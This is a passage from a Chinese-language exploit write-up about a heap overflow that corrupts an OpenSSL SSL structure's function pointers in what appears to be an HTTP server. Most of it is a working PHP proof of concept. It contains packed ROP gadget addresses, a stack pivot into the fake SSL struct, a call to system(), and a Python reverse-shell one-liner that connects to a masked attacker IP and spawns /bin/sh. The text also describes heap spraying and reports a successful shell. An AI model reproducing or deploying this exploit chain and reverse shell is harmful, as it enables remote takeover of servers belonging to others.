      s->method->ssl_renegotiate_check(s, 0);
      if (SSL_in_init(s) || SSL_in_before(s)) {
         if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
             struct ssl_async_args args;
              args.s = s;
              ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
         } else {
             ret = s->handshake_func(s);
         }
     }
     return ret;
 }

我们覆盖了struct SSL里面的函数表调用方法,所以当程序试图执行s-> method-> ssl_renegotiate_check(s,0);时,它就崩溃了。

这是我们利用的理想目标! 结构SSL的分配可以很容易地触发,并且大小接近我们的JaveScript缓冲区,所以它可以在我们的缓冲区附近有一个常规的偏移量! 根据代码,我们可以看到ret = s-> handshake_func(s); 调用函数指针,这是控制程序流的完美选择。

这样我们的利用方案就明确了:

首先使用具有大量正常请求的SSL结构来做堆喷,然后溢出SSL结构。

1567586491666.png

 <?php
     function p64($address) {
         $low = $address & 0xffffffff;
         $high = $address >> 32 & 0xffffffff;
         return pack("II", $low, $high);
     }
     $junk = 0x4141414141414141;
     $nop_func = 0x32FC078;
      $gadget  = p64($junk);
     $gadget .= p64($nop_func - 0x60);
     $gadget .= p64($junk);
     $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
     $gadget .= p64($junk);
     $gadget .= p64($junk);
     $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
     $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
     $gadget .= p64(0x58);
     $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
     $gadget .= p64(0x1366639); // call system ;
     $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
      $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
     $p .= $gadget;
     $p .= str_repeat('A', 0x1000 - strlen($gadget));
     $p .= $gadget;
 ?>
 <a href="javascript:void(0);<?=$p;?>">xxx</a>

PoC可以分为三个部分。

1.Fake SSL structure

SSL结构对缓冲区有一个常规的偏移量,因此可以精确地伪造它。为了避免崩溃,我们将方法设置为包含void函数指针的位置。此时的参数是SSL结构本身,但是,方法前面只有8个字节。我们不能在HTTP服务器上简单地调用system(“/ bin / sh”),这对我们拿到shell命令来说还不够。

由于二进制文件很大,很容易找到ROP gadgets,发现了一个有用的堆栈数据:

 push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

因此我们将handshake_func设置为此gadgets,将rsp移动到SSL结构,并进行进一步的ROP攻击。

2.ROP chain

这里的ROP链很简单,稍微向前移动rdi,这样反向shell命令就有了足够的空间。

3.Overflow string

最后,我们连接overflow padding and exploit,一旦溢出SSL结构成功,就会得到shell。

0x04 漏洞利用演示

ROP链payload

1567587393665.png

可以得到shell命令

1567587447682.png

溢出字符串

1567587469405.png

成功拿到shell

1567587550920.png